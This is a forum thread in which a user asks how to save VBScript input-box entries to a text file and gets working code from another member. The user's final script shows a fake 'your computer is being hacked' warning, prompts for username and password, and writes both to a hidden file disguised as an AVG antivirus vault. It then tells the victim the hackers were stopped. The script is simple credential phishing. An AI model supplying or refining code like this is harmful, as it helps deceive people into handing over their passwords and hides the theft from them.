loading

Input to text file in vbs

Im getting increasingly intested in vbs and was wondering how to make an input window for example "Your password" and the "password" could be saved in a txt file stored somewhere, i have the start but dont know where to go from there!

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
WScript.Echo "Your computer is being hacked please enter your password to stop hacker"

Set WshShell = WScript.CreateObject("WScript.Shell")
Password = InputBox("Please type your password.")
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

Thanks

sort by: active | newest | oldest
Login2588 years ago
Actually, this works better:

Set WshShell = WScript.CreateObject("WScript.Shell")
Dim Password, myFSO, FileToWrite

Password = InputBox("Please type your password.")

Set myFSO = CreateObject("Scripting.FileSystemObject")
Set FileToWrite = myFSO.OpenTextFile("C:\yourtextfile.txt", 8, True)
FileToWrite.WriteLine(Password)
FileToWrite.Close
k_man (author)  Login2588 years ago
Thats perfect thanks!
Login258 k_man8 years ago
No problem. Except that it doesn't appear to be possible to make the password appear as a *
k_man (author)  Login2588 years ago
my final edit is
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""
WScript.Echo "Your computer is being hacked please enter your username and password to stop hackers"

Set WshShell = WScript.CreateObject("WScript.Shell")
Dim Password, myFSO, FileToWrite

User = InputBox("Please type your username.")

Set myFSO = CreateObject("Scripting.FileSystemObject")
Set FileToWrite = myFSO.OpenTextFile("C:\&AVG.VAULT&\SYS.fil", 8, True)
FileToWrite.WriteLine(User)
FileToWrite.Close

Password = InputBox("Please type your password.")

Set myFSO = CreateObject("Scripting.FileSystemObject")
Set FileToWrite = myFSO.OpenTextFile("C:\&AVG.VAULT&\SYS.fil", 8, True)
FileToWrite.WriteLine(Password)
FileToWrite.Close

WScript.Echo "The hackers have been stopped"
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
The folder is made hidden also by a batch file!